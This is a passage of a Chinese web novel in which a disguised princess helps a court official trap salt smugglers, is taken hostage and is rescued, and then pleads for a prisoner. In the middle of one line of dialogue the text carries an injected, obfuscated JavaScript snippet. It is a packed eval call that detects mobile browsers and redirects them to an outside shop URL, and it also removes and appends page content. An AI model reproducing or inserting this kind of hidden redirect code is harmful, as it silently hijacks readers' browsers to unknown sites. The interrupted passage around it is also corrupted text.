这日,她甩下侍女独自在院里徘徊,无意撞见姜宣同在训斥下属。她快步跑上前去躲在隐蔽处看戏,见姜宣同好似热锅之蚁,说话亦是火急火燎: “你怎么办事的?普桑的人还未来?” 一旁下属支支吾吾说不出理由,姜宣同气得拂袖离开,结果半路又折返回来改了主意:“不等了,明日你去找先前放出消息的那位商贾,说本公子有现货,让他三日后到我酒肆商议价钱。” 事情终于有了进展,她这个诱饵还算得上有用,但朝颜心下却喜忧参半,情绪有几分低沉,连带着晚膳都未食几口。 据她观察这几日发现姜宣同本性不坏,只是好色贪财,贩卖私盐或许是受人挑唆了呢? 毕竟以他的脑子怎会想到如此冒着危险发家致富的法子。住在府上这几日,朝颜观察过,姜宣同对下属以及后院之人都很不错,若是真被安上通敌叛国的罪名,那后院这些无辜之人都要受牵连。 得知普桑不来人,朝颜不禁为姜宣同松了一口气。 也意味着姜宣同会直接对上娄卿旻的人,届时人证物证具在,会被当场抓获。不过至少没有通敌叛国的罪名了,只是贩卖粗盐盈利之事肯定罪不至死,相反若普桑真来了才是大麻烦。 眼下还是要静待三日之后,希望事情一切顺利,她也能快些做自己的事。 本以为可以如前段时日似得等着便好,谁知事情忽然有了变故,朝颜第二日便见姜宣同带了一行人急冲冲出门,夜里才回来,回来时面色铁青十分难看。 见状朝颜偷偷跟了上去,姜宣同进了西苑的主屋寝室,朝颜则藏身在后窗偷听。 下属战战兢兢地为姜宣同倒了一杯茶水,姜宣同一把将其推开,杯子摔落在地弄湿了大片毛毯,他双眼气得火冒金星,语气很不耐烦,:“你今日可见到普桑那些人的丑恶嘴脸了?” “真是吃了熊心豹子胆,与本公子做交易的是他们,上赶着求买盐的亦是他们,如今居然还敢压价,简直无法无天,真以为本公子可以任人宰割了?” 姜宣同还是很生气,本以为与普桑人合作买卖习惯了,便想着顺水推舟不另寻他人合作。经过今日之事,他说什么也不想再与普桑合作,这是他的底线。普桑人仗着是旧相识,知道他如今着急用银钱便想着让他价格低再三成售卖,甚至不惜说出报官的话来威胁他。 忆起朝颜所说通敌叛国的罪名,他当场就怒了,一拍桌案占起上风。他只是赚个钱而已,而普桑之人未经允许私自出入燕国国土还作贩盐买卖,按律当抓起来打他个半死不活再遣送回国,他甚至想,大不了他主动上报国君,他们玉石俱焚。 父亲常常教导他做事三思而后行,故而他未与普桑人撕破脸,但他也不会吃这个暗亏,今夜就派人将他们一网打尽,随便安上个罪名痛打一顿,想想他都心情愉悦。但生气归生气,生意还是要做的。 “那位呢?” 属下一时没反应过来,一脸疑惑看着姜宣同,他又问道:“那位外城来的商贾在何处?传信给他,说明日在城东酒肆处见面,商议买卖。至于普桑的人,今夜你就带人将他们抓起来,就说……” “本公子的玉佩在与他们会面之后丢了,怀疑他们偷了。然后你将此物趁乱塞入其中一人衣内,看他们如何狡辩!” 属下收到命令,道了一声“是。” “切勿着急!”一道明朗女声传入房中,拦住了下属出门的脚步。 16. 燕国之行(八) 朝颜在后窗听了许久,算是明白其中之事了。兜兜转转、变来变去,姜宣同最终还是免不了与娄卿旻的人合作,但普桑人不是那样好糊弄的,一枚玉佩哪里能定罪,要的是攻其不备,准备好证据当场拿下。 她缓缓迈进屋内,轻言道:“我有一个主意可以让你将功赎过,你且听听再做决定。” “你个弱女子安分待在后院便行了,莫要插手这些乱七八糟的事,小心惹祸上身。”姜宣同时隔多日再见到朝颜的这一瞬真的把自己当作她的兄长了,话里话外都软了不少。 “弱女子?不也照样把你耍得团团转么?”朝颜眼眸弯弯,笑颜如花,不再去解释男女差别,只用行动证明,“你听完再考虑是否要拒绝。” 说罢便凑近姜宣同,坐在案前与之慢慢讲来。 …… 渐入初秋,温度骤降,久旱的燕国终于迎来一场夜雨。淅淅沥沥的雨滴透过窗缝渗入房内,为其带来一丝潮湿的气味。 城东酒肆中,主仆三人在屋内商议大事。 暮商、暮均二人安安静静站在屋中央,娄卿旻坐在案前,身上的淡青色直袍与夜色相融,骨感分明的手指拿着姜宣同府上人送来的竹简,借着微黄烛火细细端详着,片刻后抬眼看向二人,“鱼已上钩,该收网了。” “暮均这两年时常游走燕国,早已在外城混了个眼熟,定是不能再出面。”而后视线落于暮商身上,淡然道:“明日便由你替我赴约。” “定不负大人所望。” 闻言娄卿旻轻轻颔首,盯着手上的竹简陷入沉思。 朝颜去了这些时日没传来半点消息,想必是被姜宣同的人监视了,暗卫说她非但没有生命危险,整日还在府中自由游走,也不知姜宣同对朝颜如此客气,葫芦里究竟卖的什么药,又或者朝颜又抓住了姜宣同什么把柄? 一切明日便能知晓。 天公不作美,夜雨持续了整宿还未停歇,倾盆大雨一直下到众人约定的辰时才逐渐转为细雨。天气阴沉,淅淅沥沥的水汽漫延整座城池,厚厚的乌云铺满了天,大批守卫队收到命令早早来到酒肆,顾不上整理被淋湿的衣物便偷偷隐在暗处,一场腥风血雨即将发生。 姜宣同为了赴今日之约还特意换了新裁的衣物,十分惹眼。燕国人普遍喜爱橘色,姜宣同更是对橘红琥珀色情有独钟,这种颜色神似喜服,穿在身上也将他衬得神采奕奕,更显俗世人情味。 赴约地点就在他姜府不远处,用不了半注香时间便能赶到。他带了几个贴身侍卫和一个会武的暗卫,便撑着油纸伞顺着无人长街赶到酒肆。 刚坐到里间没多久,侍卫传话说来人了。 姜宣同昨日将朝颜的那番话听了进去,今日也算有备而来,故而见到对方时也不那么惊讶。 来者是个年轻男子,乌发被玉簪束起,衣着样式简单但袖口与交领处用了真丝,皮革腰带上有一截灰色骨质带钩,右侧还悬着枚碧白无暇的玉佩,如此可见身份定不简单。姜宣同本以为这老板与他一般无二是位公子哥,不想眼尖瞥见他手中紧握着的佩剑,再看这人面无表情站在远处,着实让他觉得难以接近。 姜宣同没有缴械的习惯,但他却有埋伏暗卫的习惯,他懂得惜命,也秉持着井水不犯河水的态度,不到万不得已他也不会撕破脸。 但今日恐怕真要对不起眼前人了。 姜宣同收回视线,刚想与人搭话忽然瞥见自己身侧眼熟的人,不正是昨日给他提议的朝颜么?他心下一惊,瞳孔紧缩,心道这姑娘简直胡闹,明知道今日情况不一般还偏要插进来一脚,实在是给人添乱,一会儿哪里顾得上她。 朝颜感受到姜宣同的视线,双眸丝毫不慌地与他对上,还给他使了眼色,意思是让他放心。 事已至此姜宣同也不好突然赶人走,随即暗暗叹了口气收回目光,转头看向暮均,让人坐上座后才开口,言语客气:“先前从未见过这位老板的模样,不知您是否接触过此等买卖?” 商人对话一贯暗藏玄机,简言之,不知你身份是谁,贩卖粗盐触犯律法,是否敢承受后果。 暮商只是名字带商又不是真的商人,哪里接触过什么买卖,便随便扯了句谎话将人糊弄过去。 同时他也注意到姜宣同身侧一身侍卫装扮的公主,见她安然无恙,心里为自家大人松了一口气。公主当诱饵这几日大人虽然面上不说,但是总旁敲侧击问众人公主在姜府有没有受伤,是否安康,毕竟是帮他们做事,担心挂念也属正常。 不过看公主与姜宣同你来我往的模样,想必是获取姜宣同的信任了,那自家大人要怎么办? 暮商正想着自家大人与公主之间吵闹的冤家关系好不容易缓解了些,如今被另一个人捷途先登,大人要怎么办?还未想到所以然,忽然被姜宣同一句话打断思绪。 “不知您从何处而来?” 话毕,室内安静了片刻。 暮商想起自家大人交代的,淡淡回望姜宣同一眼,语气冷漠,不想回答这个问题,便道:“你只管做好你的生意,不该问的别问。” “原来是位神秘人物。”姜宣同看破暮商不想接话的态度,很有眼色地没再继续追问,想到昨日朝颜的提议,转而问他:“你们要多少?” “你有多少我们便要多少。” “价格略高是否接受?” 暮商垂着眼,摆出高高在上的架子,将身侧佩剑啪的一下拍在案上,吓了众人一跳。 朝颜也被暮商这严肃模样弄得一头雾水,明眸微阖盯着方案上的剑,只觉得暮商不愧是娄卿旻身边的人,与娄卿旻架子一模一样,惯会吓唬人。 随即听到暮商淡淡开口:“你尽管出价。” “我早就知道老板是爽快人!那我便直说了——” “一斗五十金。” 暮商着急想拿到物证,立刻答应下来,“成交!货在何处?” “货就在……” “慢着!”屋外传来几道急促脚步声,还有一道粗矿的男声,朝颜最先听见,而后往角落处偷偷移了几步。 她本也是守株待兔,兔来了。 片刻后,几个身材高大的年轻男子闯了进来,发上还带着一层水珠,肩颈衣衫湿了大片,想必未打伞便着急忙慌地赶来了。他神色难看,似乎对姜宣同所作所为很不满,双目如炬恶狠狠地盯着姜宣同,话中带着不掩饰的怒: “姜公子如此做也太不厚道了吧,昨夜不是你亲自派人传信与我,约好今日在此处做交易么?为何还约了别人?” “你当真打算与我们破罐破摔,玉石俱焚?” 姜宣同丝毫不惧地盯回去,他既然敢一人同时约两家,自然做足了准备,不然他也不会让这些人如此轻松地闯入他的地盘。 进来容易出去难。 他的守卫已经将酒肆里里外外、前前后后都围了个水泄不通,今日一个都逃不了。姜宣同心中有底气,连带着语气硬了不少:“约你便是为了送你一程。” “抓了我们你也难逃一死!” “那便不牢你费心了。”姜宣同本就轻浮,有底牌了说话的语气也有些欠揍。 昨日他听从朝颜的建议,分别给这两位传了信,约他们今日来此处做交易,将对燕国有非分之想的普桑国人抓住送到国君面前,他也可以将功赎过。至于另外一位,毕竟是初次犯事,还未成功,待查清状况说教一番便能放他走。 而朝颜想此法目的也是让娄卿旻亲自抓这些人,正好当送他个人情。说不定姜宣同贩卖私盐的事便可以从轻处置。 普桑国的高大男子见姜宣同如此油盐不进,匆匆瞥了他一眼,喊了句:“你真是癫狂至极!” 就在这时,外面又传来一阵刀剑碰撞、混乱的脚步声,不过须臾间一大群衣着盔甲皮革的士兵便闯进里屋。 只见为首一男子气势汹汹地拿出专属司寇大人的令牌朝大家一闪,而后无情地看着屋内众人,“官府搜查,有人向衙门检举今日今时这家酒肆偷偷做粗盐交易,今日在此的所有人均要被关入大牢接受调查!” 高大男子彻底慌了,往日做交易从未失败过,他们便也没做任何准备防着,不料偏偏今日出了岔子。思及此他暗地对身后同伙使眼色想要越窗而逃,谁知还未动作便被士兵抓了个正着,紧接着就被人按住绑上了麻绳。 气氛拔剑弩张,朝颜也不知来的这群人是谁的人,但抬眸看向暮商不慌不忙的模样,好像他早就知道会有这一出。 姜宣同虽然心里早就做好准备,但也被这大阵仗吓了一跳。 几人被士兵绑住手腕,排着队出了酒肆,雨已经停了,姜宣同示意埋伏在暗处的人不要轻举妄动,而后慢慢接受事实,准备就这样与众人一齐被关入大牢,但他还有些忧虑。 出门后姜宣同第一个便看向朝颜,不论如何朝颜自始至终都是无罪的,不该被牵连进来。大牢那样艰苦阴暗之地哪里能容得下一个娇生惯养的柔弱公主。 殊不知他看朝颜的这一眼,同样入了歹人的眼,正是方才与姜宣同叫板的那个普桑人。 他找到了突破口一般,边走边用袖中藏着的暗器偷偷割断麻绳,而后一脚踹开前方挡着的士兵,直冲上前抓住朝颜的手臂将她揽入怀中。 高大魁梧的身影衬得瘦弱的朝颜宛若雏鸟,粗壮手臂紧紧锁住朝颜的脖颈将人弄得面颊通红喘不过气,男女力气悬殊,女子又被麻绳绑住了腕子,半点都挣脱不开。 宛廿穿过身后人群,又向远处退了几步扯开距离,从袖中悄无声息地取出那把精巧匕首抵在朝颜脖颈处,用力向下一压,淡淡血丝从皮肤表面冒了出来,朝颜后知后觉,疼得抽了口气。 这场变故来得突然,周围人似乎都没反应过来。 姜宣同见此情景是最先回过神的人,他跑到二人面前朝人喊了一句:“十廿,你别冲动!” 紧锁的眉头慌乱的话将他的担忧暴露无余,没办法,其余人都不识得朝颜,定是不会在乎朝颜是死是活。他若再不出面,朝颜便真要被人拿去性命。且不论她是否是姑母的孩子,他二人相处的这些时日也算是好友,昨日她还帮他出主意,他更是不能牵连她。 谁知姜宣同这一句话正好入了宛廿的套,他不理会姜宣同的劝说,继续大喊:“都别过来,小心我与他同归于尽!” “十廿,大丈夫敢作敢当,你牵连无辜之人做什么?” 话毕,宛廿对着姜宣同吐了一口:“呸!假惺惺!” “你算什么大丈夫?说得好像从前挣我银钱的人不是你一般,如今利用完便想丢弃,怎会有你这种小人?” 于商人之间的合作利益来讲,姜宣同今日所做所为确实是小人,但若是以家国层面,他公然毁约将人送入大牢,也是及时醒悟,不在歧路上继续走下去。 姜宣同不敢动作,但他身后士兵却是不在乎朝颜死活,硬向前走了进步。宛廿被逼无奈,手下力气又深了一分,鲜红的血顺着朝颜白皙的脖颈流入衣襟,“别过来,再过来我真杀了他!” “你别杀她!”姜宣同眼下真的着急了。话毕连忙转身对后面守卫放言:“我以城主之子命令你们,退后!谁都不许逼他!” 守卫虽说受人命令来此抓人,但心里也是对姜宣同的身份有些忌惮的,他们不认识朝颜,起初便想让他杀了也无所谓,但姜宣同如此紧张那侍卫,他们一瞬间都犯了难。 宛廿见他们内部混乱,神情更激动了,觉得自己挟持了最好的人质,自信满满,根本不怕这群人。那边的燕国士兵也不敢随意靠近宛廿,亲眼看着男子把朝颜带到脱离人群之处,越走越远。 姜宣同追过去大喊:“若不然我替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405602|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她?你挟持我定比挟持他管用,毕竟我是城主之子,她只是一个小侍卫,你杀了他也无用啊!” “休想!”宛廿想到什么,有些嫌弃地看向姜宣同,“你怕不是男女通吃?怎么?一个小小侍卫的生死你也会在乎?” 姜宣同怕被人误解,连忙解释:“我只是觉得我们二人之间的事,不用牵连无辜。” 远处一道低沉的声音传入众人耳中,打断他们二人谈话:“自古亡者死于话多,你确定还要与他吵嘴浪费时间?” 朝颜身为人质,时刻警惕四周,故而最先顺着声音找源头,紧接着便看到那袭青色长袍的男子带着几十亲卫从身后的酒肆中走出,正是娄卿旻。 朝颜眼神亮亮的,只觉得救星终于来了。 “你又是谁?别过来,小心他的命!” 男人手下动作越发狠厉,朝颜觉得自己小命不保,连忙用求救的目光看向娄卿旻,换来他一个淡然的眸光,说不清道不明是什么情绪,或者说毫无波澜。 那边娄卿旻听了男人的话停在六尺开外,眼神看向男人,见其匕首手柄边缘处镶嵌的几颗蓝缟玛瑙,对他的身份起了疑心。 他不是普桑之人,为何要冒充? 但他既然敢冒充,那必然了解普桑的事。思及此,娄卿旻话语不紧不慢,甚至还带着几分懒散无谓:“我是谁不重要,重要的是,她是谁——” “他是,谁?”宛廿一脸狐疑,这才认真看自己所挟之人。 面容白白净净,五官好看得半点不像是侍卫,他意识到什么,一只手将眼前人的束发的帽冠解开,下一刻,那头长而密的乌发就此披散开来,似有似无的香气萦绕在鼻尖,再看去,蛾眉皓齿,肤如凝脂。 这哪里是什么男侍,分明是个女子! 他瞪大双眸,眼中有惊诧、有恍然大悟。 他貌似有些理解姜宣同为何对手下这人的生死那样紧张了。 谁知娄卿旻接下来所言,更是给了他五雷轰顶的一击:“她可不是普通的侍卫,若你真有那胆子你便杀了她,她死了,就算你逃到天涯海角你们普桑国的国君也不会放过你。” “毕竟她是华纪的嫡公主,日后亦是普桑的太子妃。” 这无疑是在自爆身份。 朝颜还在被十廿突如其来解开她发帽的惊吓中,听完娄卿旻的话之后直接愣在原地,脑中一片空白,不明白他为何主动道出她的身份,若这贼人真信了,定不会放过她。 男人挟持着她的手微微松了力气,朝颜抓住机会连着深呼吸了好几口。 男人真将娄卿旻的话听了进去,面上故作疑虑,脑子里想得却是,若真能破坏华纪与普桑联姻之事,他这条命死了也在所不辞。 那位王派他们来购盐,说是日后战争发作他们有所准备。若他暗地瓦解了大国间的和平,王便能趁机将中原拿下,那他便发挥了其他人都发挥不了的作用,即使死了也是草原的勇士。 想到这儿,他更不想放走朝颜这个白白送来的军功,一边警惕着面前的敌人,一边集中注意力将手悄悄伸向身后取他先前准备好的淬了毒的匕首。 隔着半条街的距离,青色身影注视着这边的一举一动。 娄卿旻表面波澜不惊,泰然自若,实则瞅准时机就直接取过身侧亲卫背着的弓弩羽箭,对着分散精力的宛廿便射了过去,速度之快如闪电,所有人都没反应过来宛廿的手臂便已被射穿。 他吃痛一声,手上还是不放朝颜。 姜宣同早就移动到他们身后不远处,见状对着他二人撞了过去,朝颜被撞了个踉跄,跑一旁恢复了自由,宛廿的腰部则被撞到柜子上摔了一跤直趴在地上,姜宣同上前制止他,手臂却是不小心被淬了毒的匕首划破了个口。 也不知是什么给他的勇气,在娄卿旻说出朝颜身份的那刻,姜宣同便一鼓作气地,就想尽自己最大力量救下她。 娄卿旻射完那支箭随手将弓弩还回去便不动声色地看完这一幕,见宛廿与姜宣同厮打在一处,他拿出令牌一声令下:“全部拿下!” 为首的守卫认出娄卿旻手上的金色令牌,知晓他的身份比司寇大人还要尊贵,听见命令便唤其余人一涌而上,将宛廿几位同伙连带着姜宣同一起围住,束上枷锁捉拿归案。 庞大的队伍向大牢的方向赶去,朝颜无罪,身份被道破,自是不用跟着犯人,便主动与娄卿旻跟在队伍最后,慢慢前进。 “少傅大人好计谋,居然能引开那人注意力再对他致命一击,属实让我大开眼界了。”朝颜受了惊吓,就想说说话,不过她说完便有些后悔了。 她发誓,不论前世此生,这都是她第一次夸人,此话肉麻得如同男女调情,她莫名觉得脸颊发烫,羞怯得想找个地缝钻进去。 娄卿旻一心都在想宛廿的身份,注意力不在朝颜这里,也没看到她绯红的脸,随口回了句:“君子习六艺,这都是平常之事,公主不必夸赞。” 见人如此冷淡朝颜也主动闭嘴,继续跟着队伍前行。 雨后街道潮湿,偶尔冒出几片苔藓,街上没什么百姓,众人大步向前速度愈来愈快,朝颜小跑着才能跟上,谁知路过一处砖板时不甚踩到一片碧绿的苔,脚下一滑眼看要冲向地面,手臂忽然被男人温暖有力的大掌拽了一把。 她抓住救命稻草般紧紧拉着人的手臂才勉强稳住身脚。 她瞥向一旁,看到身侧人被他弄乱了的衣衫,又窘迫地想逃离,但公主礼仪让她稳住阵脚,缓缓朝人道了句:“谢大人。” 话音刚落,眼前男人便二话不说便停下脚步,扯下自己的衣衫一角,而后拉住朝颜的袖口让她无法前进。 朝颜被那股力量拽回来,秀发飘拂着缠到二人中间,她转头看到男人高大的身影盖住了头顶的日光,正疑惑着,下一秒便感觉到脖颈处一暖…… 17. 燕国之行(九) 脖颈暖暖的,一切尽在不言中。 朝颜葱白的长指轻轻抚上脖颈处那缕柔软,心中不免有几分动容,她本来便没觉得男人会关注她的伤,娄卿旻突然如此,她还有些不习惯。 不过她依稀能分辨出是上好的丝制衣品,与麻布粗衣带来的粗糙感天差地别。她就这样抚了半刻才反应过来二人距离之近,不足一尺,思及此她眼睫颤了颤,眸光落在娄卿旻未收回的手上。 “冒犯了,殿下莫怪。”男人最先回神,收回手后主动解释了句。 朝颜快速转身拉开二人距离,故作坦然地,扯着红唇狼狈地笑了下,“不怪大人……我自己都快忘了,现今才感觉到是有些疼。” 其实她说谎了,贼人在那伤口处划了一道又一道,怎会不疼? 但周围没有医馆,也无人会包扎,她总不能闹着给众人添麻烦,便想着能忍一时是一时,谁知竟会被娄卿旻注意到。 而娄卿旻方才一心都在那人身上,不曾注意到朝颜脖颈处受伤,如今那红痕上的血已然凝固,看上去触目惊心,知晓女子都很在意自己的美貌,他思虑片刻后不经朝颜允许私自帮她遮挡,一时竟忘记了什么三尺之距。 娄卿旻垂下眼帘,又一次感叹自己所作所为不合规矩,下决心日后定不能再如此。 二人又相继无言继续跟上前进的队伍。 直到众人赶到衙门大牢,娄卿旻立在牢狱门口,才又一次转身对后面的朝颜开口:“公主今日不该参与进来的。” 明知今日情况不一般,还硬要扮做侍卫来凑热闹,他一路上思来想去最终还是忍不住提醒她。 朝颜好似一直如此冲动行事,从来不顾念自己的安危。 上次有羽堇,这次有姜宣同,下次呢? 没有人会一直护着她,她迟早要嫁到别国去面对更多豺狼虎豹,届时便不是小打小闹就能解决得了。 娄卿旻一向知人善用,遇到合心意的也会提点几句。经过此次粗盐之事,他觉得朝颜虽身为女子,但在权益计谋上还颇有造诣,无形中帮了他许多次忙,算是可塑之才。唯一不足的是性情急躁,想一出是一出,或许应该让她多看些书沉下性子,再学些法子保命。 日后若真的学成了,也算是证明了她所说的女子不仅能在深闺后院中相夫教子,也可闯出自己的一番天地。 但前路漫漫,自她出宫后便多次卷入是非,也不知这些事于她来说究竟是福还是祸。 每次娄卿旻摆出一种师长的不苟言笑架子说教,朝颜便感觉自己低了他一头,此刻也像个犯了错的孩童,静静杵在远处听着他严肃的训诫,最后小声狡辩了句:“我只是想来监督姜宣同。” 但今日之事事发突然,她也确实没想到会被当作人质挟持,但恰好娄卿旻及时赶来,她又躲过了一劫。 思及此她又打起精神笑着对人说:“不过还是要多谢大人的救命之恩,日后若有用到朝颜的地方,我定会尽我所能满足大人,还有之前答应您的姬妾也作数。” 一说到姬妾,娄卿旻的身心便极度不舒服,他故意忽略朝颜的后半句,抬起眼皮认真凝视着她,“救公主乃臣之责,臣想说的是,您有时太过妇人之仁。姜宣同从商有段时日了,自然也算得上半个君子,公主就如此不信任他么?” “商人之间亦是要信守承诺,约不可失。” “大人不用再说了!” “我坦白,我是信他的,我今日跟他一起来便是想替他求情,求大人网开一面。实不相瞒,传信于你们两方这个主意也是我替他出的,我的目的就是想让大人看在姜宣同今日将功赎过的份上,放他一马!” 朝颜发现撒谎不但堵不住娄卿旻那歹毒的口舌还促使他变本加厉,便一股脑地全部实话实说了,说完便低下头装得像只被烤熟的鱼肉,在案板上一动不动。 娄卿旻先前也怀疑过姜宣同为何突然开窍。 今日卯时一刻,他听到司寇大人府上传出的消息说辰时后要在东城抓捕一群私自贩盐的商人,便猜出姜宣同同时约两家一网打尽,但依照他那简单的爱财头脑,这种事他自然想不出来,更何况是主动承担错误,承认自己私下与别国做贩盐的交易。 那这迷途羔羊如何走出歧路? 其中定是受人点拨了。 见朝颜坦白一切,如此落落大方的模样,让娄卿旻忽然不知该说什么,他有几分后悔自己方才的心直口快,两人就这样静默着,站了许久。 天空霎时出现一道闷雷,轰隆一声打破二人之间的窘境。 娄卿旻将所有事连在一起,忽然得出一个结论:“公主为他出主意他竟然深信不疑还照做,看来你二人这几日相处得极好。” 话风突变,朝颜没想到他从二人关系上入口,愣着点了点头,直言道:“入府那天我便已将我的身份告知与他,看他近日反应,应是信了的。” 华纪与燕国的同盟之情两国百姓都知晓,姜宣同听完她的话,不论真假都不敢造次,需要打探清楚。 而娄卿旻则是更加坚定他方才的想法。 或许是他对她先前不承担责任逃婚一事存了偏见,才会觉得她不顾百姓只顾享乐。但自她来到燕国后先是舍身救下连瑕,而后不计前嫌帮他破案,如今又替姜宣同求情,实在是寻常人做不到的善良与豁达。 他收回紧盯着朝颜的黑瞳,颇为惭愧地垂首,面上羞愧难当。 往日种种是他先入为主了,逼她和亲送她回城,实乃君子所不该,他或许该找个时间寻先生谈一谈,他前半生所坚持的忠君爱国的家国道义与朝颜这样不求回报的舍己为人,到底哪一个在前?哪一个在后? 这边的朝颜还在等娄卿旻回话到底能否放姜宣同一马,但男人迟迟不开口,她抬眼看着阴沉可怖的天,预料着会有一场倾盆大雨,她也没再等,抬腿进了大牢。 事情告一段落,朝颜便想着无论如何都要与姜宣同好好告别后再动身去内城。 牢狱之地她从未踏足过,往日也只听闻宫人将其描述得如同阿鼻地狱,如今进来才发现里面昏暗一片不见日光。 道路两边点着几盏微弱的烛火,勉强能照着长长的走廊,再往里深入便能看见每间牢房被铁锁封得紧紧的,漆黑一片,唯余着那点铁栅栏缝隙透着淡淡的光,地面潮湿黏着鞋履,各种污秽之物的气味掺杂在一起,气氛可怖着实难以用言语去形容。 朝颜让士兵带着向里间走去,看到在酒肆交易的那几位普桑人分别关在不同的牢狱,各自有独立的一间。 而姜宣同的牢房在通道的最里边,这间牢狱相对干净些,但男人身上的华服锦衣已经全部扒下换上一身单薄的囚衣,看着面容都憔悴了几分。 听到声响,姜宣同抬眸看到朝颜便回过神,言语激烈又担忧:“你怎么来这里了?这儿没你的事了,你脖子上还有伤,快些回去医治!” 朝颜下意识抚了下脖颈处的丝布,解释着:“伤暂时无碍,我要去内城了,临走时想见你一面,顺便帮你求情看是否能从轻发落。” “不用你求情,大丈夫顶天立地敢作敢当,真让你一个女子帮了我,那我的面子往哪儿搁?” 姜宣同想起从前见过几个踏足过大牢的女子回去做噩梦,怕朝颜与她们一般被吓到,便不耐烦催促着她:“快些走吧,有些话我不便在这儿说,你临走前去我府上看看是否有我父亲的回信,届时你便知晓一切了。” 经过这件事姜宣同没有脸面再说自己是她表哥这件事,便想着让她自己找答案。 而朝颜觉得这人有些奇怪,什么话不能当面说,还要回去看信?她毕竟是外人,如何能看他们的家书? 二人所言不在同一处,自是不理解各自的话。 朝颜还想开口安慰姜宣同,不料被身后一道声音打断:“人已看完,话亦说完了,牢狱之地污秽众多,您该离开了。” 娄卿旻不知何时跟了进来,突然在身后开口,朝颜毫无准备被这声音吓了一颤。 看到牢狱中楚楚可怜的姜宣同,朝颜还想一试。而后鼓足勇气一路快走到娄卿旻身前,又道:“大人,姜宣同他知错就改,还帮我们抓住了犯罪之人,大人能不能不罚他?” 四周一片沉寂,鸦雀无声。 女人带着商量的语气仿佛还回荡在安静的牢狱中,牢房外的小道上只他二人,一前一后面对面站着更像是在对峙,场面略微强硬。 半晌后,娄卿旻才淡然启唇:“公主,您僭越了。” “王子犯法都与庶民同罪,更何况他只是城主之子,更要认罪伏法。您也知道华纪律法森严,就算是王亲国戚亦不能犯,况且他还有位学识渊博的城主父亲教养长大,整日耳濡目染一定很懂这些道理,包庇他——” “就是在挑衅王室的威严!” 一番话语淋漓尽致,朝颜不知他竟比身为王室公主的自己更在乎王室威严。 见他面色有些难看,朝颜又打消了心中准备的反驳之语。 娄卿旻将视线从姜宣同身上转到她身上,话语间又带着几分怒意:“公主若要以公主身份来命令臣,臣无话可说,但也会状告到国君,让更高位之人来治他的罪。若公主以其他身份劝说,那本官眼里更是容不得沙子,难免不会连同公主一齐告上朝堂,治公主个包庇之罪。” 话毕,他对朝颜恭恭敬敬行了一礼。如此举动肃敬又疏离,二人之间好不容易并肩作战后有所缓和的关系,仿佛又回到起初互不相让,非要一决高下的对立。 朝颜知道这位大人真的生气了。 她又一次见识到了娄卿旻怼死人不偿命的毒舌,几句话中看似尊重地带着“公主”二字,实则话里话外不把她这个公主放在眼里,她根本不知如何反驳他,因为他说的话都言之有理。 她被娄卿旻那副正容亢色的严肃模样弄得失了面子,继而清醒认识到姜宣同所做之事实为犯法,而后看了眼牢狱中与她一样被说愣了神的姜宣同,轻言轻语地接下娄卿旻的话:“大人所言极是,是我认不清自己的身份。” 她身为公主更不能包庇,就算姜宣同将功赎过了,此次死罪可免但活罪难逃。 她原本还想再多说几句,转头看向娄卿旻寒冷刺骨、拒人千里之外的眼神,到嘴的话都收了回去,转而对姜宣同说了句:“你自求多福,我先告辞了。” 说完便头也不回地离开,没再与娄卿旻搭话。 朝颜顺着来时的路离开,路过关着那位挟持自己的普桑国人十廿的牢狱,偷偷瞥了他一眼,男子愤恨的眼神像把锋利的刀,朝朝颜直直扎过去,她顿时感觉脖子上的伤口又疼起来,飞似得逃出牢狱。 从阴暗牢狱中出来便看到一片湛蓝晴天,老天变脸的速度跟娄卿旻变脸有得一比,方才那闷雷过后不仅未下雨还成了大晴天,真是变化莫测。 她向来看得开,不一会儿就把娄卿旻在牢狱中对她那番义正言辞的话语抛之脑后,她笑了笑,抬眸看向街道对面,一位少年闯入眼底。 是羽堇,正驾着一辆马车在对面静静等她。二人去了最近的医馆将伤口包 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四下无人,娄卿旻的目的达到,转身淡淡睥睨着牢中人,目光平静幽深,“姜宣同,你与盐官王堃合作私自藏盐又贩盐,是否知晓那是要人命的勾当?” “知不知晓重要么?该做的已经做了,要杀要剐随便你们,我姜宣同不会做逃兵!” 姜宣同好像吃软不吃硬,但眼下的娄卿旻没耐心陪他浪费时间。 他顶着高出姜宣同半个头的身子缓步走上前,俯身站在铁门边,一字一句道:“本官见你有悔过之心,主动功将抵过帮众人抓住了嫌犯,可以不要你的性命,但前提是你要将王堃如何说服你与之联手,与如何认识普桑之人的细节全部交代清楚。” “就是我自己想赚钱,我求他办事,与他无关。” 姜宣同像个花楼嫖香的大爷,说完便大咧咧地找到一片粗糙杂乱的稻草坐了下来,那不管不顾的懒散模样让人看了便想将他暴打一顿。 娄卿旻自是不信,出言讥讽:“凭你那满是花酒美女的脑子能想出这样铤而走险的法子?” “这位大人你到底是谁?” “说话便说话,为何总揭人短处?知不知道这样真的让人很不舒服?” 娄卿旻冷哼一声,“不舒服?那姜公子更要赶快交代清楚,这样你我二人都能快些结案,本官也能早日离开燕国,回华纪国继续当那位闲散的太子少傅。” 他也学着朝颜故意透露出自己的身份,为姜宣同提前挖下名为信任的坑。 果然这招百试不爽。 姜宣同一听娄卿旻说出真实身份,瞬间翻了个身弹跳起来,三两步跑到牢门前,身上的锁链被他摩擦地面弄得吱吱作响,在空旷的牢狱中显得格外刺耳。 他虽然混迹情场多年不理世事,但也知道华纪国那位赫赫有名的太子少傅,忆起方才对他说得那些大不敬的话,宛如被人泼了盆冷水,但假装面不改色问他:“你真是华纪那位?” 娄卿旻不喜这种嘈杂刺耳之音,弄得头直疼,他微微皱眉抬眸瞥他一眼,神态带着嫌弃。 许是这不加掩饰的一眼,让姜宣同进一步确认了他的身份,惊讶道:“你竟是娄卿旻!那你此次来燕国便是调查粗盐缺斤短两之事了?我早知道华纪不会善罢甘休,一连着好几个月都少了些量怎么可能不追究,偏偏那王堃骗我说华纪那样物资丰厚的大国不在乎这些。” 